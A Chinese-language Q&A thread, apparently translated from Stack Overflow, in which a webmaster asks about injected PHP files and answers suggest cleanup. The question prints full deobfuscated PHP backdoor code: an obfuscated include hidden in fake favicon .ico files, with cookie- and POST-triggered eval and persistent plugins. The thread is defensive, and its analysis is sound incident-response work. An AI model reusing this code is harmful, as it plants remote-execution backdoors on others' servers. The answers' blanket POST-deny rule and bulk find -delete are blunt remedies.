我有三个网站都在同一个网络服务器上托管。最近我在其中一个网站上工作,并注意到,大约一个月前,一堆文件已被更改。具体来说,index.html
的所有实例都已重命名为index.html.bak.bak
,并且index.php
个文件已放入其位置。 index.php
文件相对简单;它们包含一个隐藏在每个网站文件系统中的文件(看似随机文件夹),这些文件被JS十六进制编码混淆,然后回显原始index.html:
<?php
/*2d4f2*/
@include "\x2fm\x6et\x2fs\x74o\x721\x2dw\x631\x2dd\x66w\x31/\x338\x304\x323\x2f4\x365\x380\x39/\x77w\x77.\x77e\x62s\x69t\x65.\x63o\x6d/\x77e\x62/\x63o\x6et\x65n\x74/\x77p\x2di\x6ec\x6cu\x64e\x73/\x6as\x2fs\x77f\x75p\x6co\x61d\x2ff\x61v\x69c\x6fn\x5f2\x391\x337\x32.\x69c\x6f";
/*2d4f2*/
echo file_get_contents('index.html.bak.bak');
此处包含的文件是
/mnt/*snip*/www.website.com/web/content/wp-includes/js/swfupload/favicon_291372.ico
在另一个域上,它是
/mnt/*snip*/www.website2.com/web/content/wiki/maintenance/hiphop/favicon_249bed.ico
正如你可能猜到的那样,这些并不是真正的好消息 - 它们只是具有不同扩展名的php文件。现在,我不知道这些文件是做什么的(这就是我在这里问的原因)。他们完全被混淆了,但https://malwaredecoder.com/似乎能够破解它。 The results can be found here,但我已粘贴下面的去混淆代码:
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if(!defined("PHP_EOL"))
{
define("PHP_EOL", "\n");
}
if(!defined("DIRECTORY_SEPARATOR"))
{
define("DIRECTORY_SEPARATOR", "/");
}
if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);
$data = NULL;
$data_key = NULL;
$GLOBALS['cs_auth'] = '8debdf89-dfb8-4968-8667-04713f279109';
global $cs_auth;
if (!function_exists('file_put_contents'))
{
function file_put_contents($n, $d, $flag = False)
{
$mode = $flag == 8 ? 'a' : 'w';
$f = @fopen($n, $mode);
if ($f === False)
{
return 0;
}
else
{
if (is_array($d)) $d = implode($d);
$bytes_written = fwrite($f, $d);
fclose($f);
return $bytes_written;
}
}
}
if (!function_exists('file_get_contents'))
{
function file_get_contents($filename)
{
$fhandle = fopen($filename, "r");
$fcontents = fread($fhandle, filesize($filename));
fclose($fhandle);
return $fcontents;
}
}
function cs_get_current_filepath()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function cs_decrypt_phase($data, $key)
{
$out_data = "";
for ($i=0; $i<strlen($data);)
{
for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
{
$out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
}
}
return $out_data;
}
function cs_decrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
global $cs_auth;
return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}
function cs_get_plugin_config()
{
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config = substr($self_content, $config_pos + 32);
$plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
}
else
{
$plugins = Array();
}
return $plugins;
}
function cs_set_plugin_config($plugins)
{
$config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
$self_content = @file_get_contents(cs_get_current_filepath());
$config_pos = strpos($self_content, md5(cs_get_current_filepath()));
if ($config_pos !== FALSE)
{
$config_old = substr($self_content, $config_pos + 32);
$self_content = str_replace($config_old, $config_enc, $self_content);
}
else
{
$self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
}
@file_put_contents(cs_get_current_filepath(), $self_content);
}
function cs_plugin_add($name, $base64_data)
{
$plugins = cs_get_plugin_config();
$plugins[$name] = base64_decode($base64_data);
cs_set_plugin_config($plugins);
}
function cs_plugin_rem($name)
{
$plugins = cs_get_plugin_config();
unset($plugins[$name]);
cs_set_plugin_config($plugins);
}
function cs_plugin_load($name=NULL)
{
foreach (cs_get_plugin_config() as $pname=>$pcontent)
{
if ($name)
{
if (strcmp($name, $pname) == 0)
{
eval($pcontent);
break;
}
}
else
{
eval($pcontent);
}
}
}
foreach ($_COOKIE as $key=>$value)
{
$data = $value;
$data_key = $key;
}
if (!$data)
{
foreach ($_POST as $key=>$value)
{
$data = $value;
$data_key = $key;
}
}
$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));
if (isset($data['ak']) && $cs_auth==$data['ak'])
{
if ($data['a'] == 'i')
{
$i = Array(
'pv' => @phpversion(),
'sv' => '2.0-1',
'ak' => $data['ak'],
);
echo @serialize($i);
exit;
}
elseif ($data['a'] == 'e')
{
eval($data['d']);
}
elseif ($data['a'] == 'plugin')
{
if($data['sa'] == 'add')
{
cs_plugin_add($data['p'], $data['d']);
}
elseif($data['sa'] == 'rem')
{
cs_plugin_rem($data['p']);
}
}
echo $data['ak'];
}
cs_plugin_load();
}
此外,在其中一个网站的内容文件夹中有一个名为init5.php
的文件,该文件在尽可能多地进行反混淆之后变为:
$GLOBALS['893\Gt3$3'] = $_POST;
$GLOBALS['S9]<\<\$'] = $_COOKIE;
@>P>r"$,('$66N6rTNj', NULL);
@>P>r"$,('TNjr$66N6"', 0);
@>P>r"$,('k3'r$'$9#,>NPr,>k$', 0);
@"$,r,>k$rT>k>,(0);
$w6f96424 = NULL;
$s02c4f38 = NULL;
global $y10a790;
function a31f0($w6f96424, $afb8d)
{
$p98c0e = "";
for ($r035e7=0; $r035e7<",6T$P($w6f96424);)
{
for ($l545=0; $l545<",6T$P($afb8d) && $r035e7<",6T$P($w6f96424); $l545++, $r035e7++)
{
$p98c0e .= 9)6(N6`($w6f96424[$r035e7]) ^ N6`($afb8d[$l545]));
}
}
return $p98c0e;
}
function la30956($w6f96424, $afb8d)
{
global $y10a790;
return 3\x9<(3\x9<($w6f96424, $y10a790), $afb8d);
}
foreach ($GLOBALS['S9]<\<\$'] as $afb8d=>$ua56c9d)
{
$w6f96424 = $ua56c9d;
$s02c4f38 = $afb8d;
}
if (!$w6f96424)
{
foreach ($GLOBALS['893\Gt3$3'] as $afb8d=>$ua56c9d)
{
$w6f96424 = $ua56c9d;
$s02c4f38 = $afb8d;
}
}
$w6f96424 = @#P"$6>3T>a$(T3\<]tO(R3"$OIr`$9N`$($w6f96424), $s02c4f38));
if (isset($w6f96424['38']) && $y10a790==$w6f96424['38'])
{
if ($w6f96424['3'] == '>')
{
$r035e7 = Array(
'@=' => @@)@=$6">NP(),
'"=' => 'x%<Fx',
);
echo @"$6>3T>a$($r035e7);
}
elseif ($w6f96424['3'] == '$')
{
eval($w6f96424['`']);
}
}
我看起来有更多混淆的PHP文件,这有点可怕。他们有吨。即使是Wordpress&#39; index.php
个文件似乎已被感染;混淆的@include
已被添加到它们中。此外,在其中一个网站上,有一个名为“ssh&#39;这似乎是某种二进制文件(可能是&#39; ssh&#39;程序本身?)
有谁知道这些是什么或做什么?他们是如何进入我的服务器的?我怎样才能摆脱它们并确保它们永远不会回来?
其他一些信息:我的webhost是Laughing Squid;我没有shell访问权限。服务器运行Linux,Apache 2.4和PHP 5.6.29。谢谢!
答案 0 :(得分:2)
您目前无法信任服务器上的任何内容。
重新安装操作系统
使用干净或已知良好版本的数据库重新安装代码的已知良好副本。
在这一点上,仅替换/删除“不良”文件是没有用的,因为攻击者可以做任何事情,从“无”到用被黑客入侵的版本替换系统级软件都可以完成所需的任何事情。仅作为示例,在某个时刻wrote malware into a compiler有人,因此即使重建了可执行文件,恶意软件仍然存在,这也阻止了调试器对其进行检测。
有各种各样的清除器,但是它们依赖于知道/检测/撤消攻击者可能所做的一切,这是不可能的。
如果您有良好的每日备份,则可以在“您拥有的内容”和“您曾经拥有的内容”之间进行一次diff
,看看有什么变化,但是您仍然需要仔细检查或还原您的数据库,因为许多攻击都涉及更改数据,而不是代码。
答案 1 :(得分:1)
我有同样的恶意软件。恶意软件添加或修改了10到15个文件。我使用Quttera WordPress插件(免费)来查找文件。大多数文件都可以删除(小心,Quttera ID比实际感染的更多)但是一些WordPress文件被修改并且必须被替换。
答案 2 :(得分:0)
我遇到了同样的问题。 它是由恶意的http post请求引起的。 这是一篇关于如何阻止它的好文章:
.htaccess文件中的以下内容将停止所有发布请求。 https://perishablepress.com/protect-post-requests/
# deny all POST requests
<IfModule mod_rewrite.c>
RewriteCond %{REQUEST_METHOD} POST
RewriteRule .* - [F,L]
</IfModule>
答案 3 :(得分:0)
这不是您需要丢弃网站和服务器的黑客攻击。这只是一个PHP黑客攻击。摆脱所有恶意的php文件和代码,你会很好。这是我在drupal上的表现。 http://rankinstudio.com/Drupal_ico_index_hack
答案 4 :(得分:0)
不得不为自己编写一个PHP脚本来扫描整个服务器树,列出所有目录路径,并编写一个PHP脚本来扫描那些路径以检查感染。只能部分清洁,但是在行人清洁方面需要很多帮助。
注意:
它写得不好,使用后可能应将其删除。但这对我有所帮助。
压缩后的副本为here。
没有保证;将其解压缩,然后看看上传到服务器之前的内容!
更新:现在清除更多(不是全部!)。进行手部清洁(见下文)。
答案 5 :(得分:-2)
我还没有找到,如何阻止这些文件出现在我的服务器上,但我能够摆脱它们,这是一个oneliner爬下文件夹并删除它们:
find . -type f -name 'favicon_*.ico' -delete -print